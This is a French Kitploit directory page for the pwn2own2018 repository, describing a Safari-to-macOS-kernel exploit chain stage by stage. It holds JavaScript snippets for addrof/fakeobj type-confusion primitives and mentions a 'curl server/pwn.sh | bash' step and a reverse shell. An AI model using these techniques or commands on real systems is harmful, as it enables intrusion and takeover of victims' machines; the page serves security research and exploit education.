Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
pwn2own2018 — Un exploit chain Pwn2Own | Kitploit
Outils/GitHubGitHub/saelo/pwn2own2018
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationRétro-ingénierieExploitation d'Applications WebApprentissage et ÉducationDéveloppement de Charges UtilesExploitation de Binaires
GitHubsaelo/pwn2own2018

pwn2own2018

Un exploit chain Pwn2Own

Voir le dépôt
75911269il y a 7 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Pwn2Own 2018 : Safari + macOS

RCE sur Safari, évasion du sandbox et LPE jusqu'au noyau pour macOS 10.13.3.

Utilisation

Installez nasm et tornado :

brew install nasm
pip3 install tornado

Consultez config.py si vous souhaitez changer l'hôte ou les ports. Démarrez ensuite le serveur avec ./server.py et naviguez vers l'URL affichée.

Vue d'ensemble

Cette chaîne d'exploitation utilise trois bugs différents pour passer du code JavaScript exécuté dans Safari à l'exécution de code en mode noyau :

  1. Une optimisation incorrecte dans le compilateur JIT DFG qui peut être utilisée pour provoquer une confusion de type
  2. Des vérifications de sandbox manquantes dans launchd, permettant à des processus sandboxés de lancer des processus arbitraires (non sandboxés)
  3. Un bug logique dans XNU, permettant à un processus de remplacer le port bootstrap de ses processus enfants, conduisant à une situation de MitM IPC

La chaîne d'exploitation est implémentée en six étapes, chacune située dans son propre sous-répertoire :

  • stage0/ : l'exploit WebKit
  • stage1/ : le payload de la première étape écrit en assembleur
  • stage2/ : le payload de la deuxième étape pour effectuer l'évasion du sandbox
  • stage3/ : scripts shell pour coordonner les étapes restantes
  • stage4/ : un LPE pour obtenir root
  • stage5/ : un LPE pour obtenir l'exécution de code en mode noyau
  • libspc/ : réimplémentation du protocole XPC, utilisée par les étapes 2, 4 et 5

Chaque sous-répertoire (à l'exception de libspc/) contient un fichier nommé make.py qui, lorsqu'il est exécuté, effectue toutes les commandes de build nécessaires et crée une liste de fichiers à servir par le serveur web.

Étape 0

Objectif : obtenir l'exécution de shellcode dans le processus WebContent sandboxé
Bug exploité : optimisation incorrecte dans le compilateur JIT DFG
Voir aussi cette présentation BlackHat

Le compilateur JIT DFG représente le code JavaScript dans sa propre représentation intermédiaire (IR), le Data Flow Graph (DFG). En général, une expression JavaScript est traduite en une ou plusieurs instructions IR dans ce graphe. Dans le cas d'une fonction constructeur, l'instruction CreateThis est émise et est responsable de l'allocation de l'objet this construit par la fonction. Par exemple, la fonction function Consructor() {}, lorsqu'elle est appelée avec new, serait approximativement traduite en

v0 = CreateThis
return v0

En regardant l'AbstractInterpreter, nous pouvons voir que le compilateur JIT DFG suppose que l'opération CreateThis n'entraîne aucun effet de bord en dehors d'une allocation sur le tas. En effet, ce code :

function Constructor(obj) {
    return obj.x;
}

sera approximativement traduit en instructions DFG suivantes : (Ici, le StructureCheck a été déplacé au début de la fonction par la TypeCheckHoistingPhase).

StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;

Cependant, cette hypothèse est invalide, car le code du chemin lent (slow-path) de CreateThis peut exécuter du code JavaScript arbitraire dans certains cas. En particulier, en utilisant un Proxy autour de la fonction réelle, le piège get pour la propriété « prototype » sera appelé pendant le gestionnaire du chemin lent de CreateThis, car il doit récupérer l'objet prototype pour l'objet construit :

function Constructor(obj) {
    return obj.x;
}

var handler = {
    get(target, propname) {
        /* run JS here, modify the structure of the argument object, etc. */
        return target[propname];
    },
};
var ConstructorProxy = new Proxy(Constructor, handler);

// Force JIT compilation of ConstructorProxy

Ainsi, il est désormais possible de modifier la Structure d'un objet sans que le compilateur JIT n'effectue de bailout.

Ce bug peut être utilisé pour construire les primitives addrof et fakeobj comme suit :

addrof

Nous compilons le code pour le cas d'un JSArray avec des éléments doubles unboxed, puis, dans le callback, nous passons à des éléments JSValue. Ensuite, le code JIT chargera une JSValue depuis le tableau, mais traitera ces bits comme un double et nous les renverra. Le code suivant assignera l'adresse de leakme à la propriété « address » de l'objet construit.

function InfoLeaker(a) {
    this.address = a[0];
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = leakme;
        return target[propname];
    },
};
// ...

fakeobj

Ici, nous faisons essentiellement l'inverse : nous optimisons le code pour stocker un double dans un tableau avec des éléments doubles unboxed, puis nous passons à nouveau à des éléments JSValue dans le callback. Le code continuera d'écrire notre double contrôlé sous forme unboxed dans le stockage de sauvegarde. Lorsque nous accéderons plus tard à cet élément du tableau, il traitera ces bits comme une JSValue au lieu d'un double. Le code suivant écrira le double unboxed address dans le tampon de sauvegarde de a, que nous pourrons ensuite lire comme JSValue, ce qui nous permet d'« injecter » des JSValues de notre choix dans le moteur.

function ObjFaker(a, address) {
    a[0] = address;
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = {};
        return target[propname];
    },
};
// ...

Nous nous retrouvons ainsi avec la capacité d'écrire un double et de le traiter comme un pointeur JSObject, et vice versa. Cela peut être exploité comme décrit dans attacking javascript engines.

L'exploit parvient d'abord à obtenir une lecture/écriture arbitraire de la mémoire du processus en simulant un Float64Array, puis recherche la région JIT (mappée RWX) et y écrit le shellcode de l'étape 1.

Étape 1

Objectif : amorcer l'étape 2 en écrivant un .dylib sur le disque et en le chargeant via dlopen()

Un court payload en assembleur qui fait essentiellement ce qui suit :

  1. Appeler confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR) pour obtenir un chemin vers un répertoire accessible en écriture
  2. Créer un nouveau fichier nommé « x.dylib » dans le répertoire accessible en écriture
  3. Écrire le dylib de l'étape 2 dans le fichier nouvellement créé
  4. Charger le dylib dans le processus WebContent via dlopen()

Étape 2

Objectif : sortir du sandbox
Bug exploité : vérifications de sandbox manquantes dans l'API « legacy_spawn » de launchd
Voir aussi cette présentation

Launchd expose le point de terminaison RPC « legacy_spawn » comme routine 817 dans le sous-système 3. Cette API ne vérifie pas si l'appelant est autorisé à lancer des processus et se contentera d'appeler execve sur n'importe quel binaire du système pour l'appelant, avec des arguments contrôlés. Comme launchd est accessible via le port bootstrap, cela permet de s'échapper du sandbox.

L'exploit exécute essentiellement curl server/pwn.sh | bash et passe ainsi le contrôle à l'étape 3.

Étape 3

Objectif : faire apparaître la calculatrice et amorcer les étapes restantes

Cette étape exécute open /Applications/Calculator.app et établit un shell inversé, puis récupère tous les fichiers requis pour les étapes restantes et exécute les exploits.

Étape 4

Objectif : obtenir root via un exploit LPE
Bug exploité : MitM sur le port bootstrap de XNU
Voir aussi cette présentation POC

Télécharger l’outil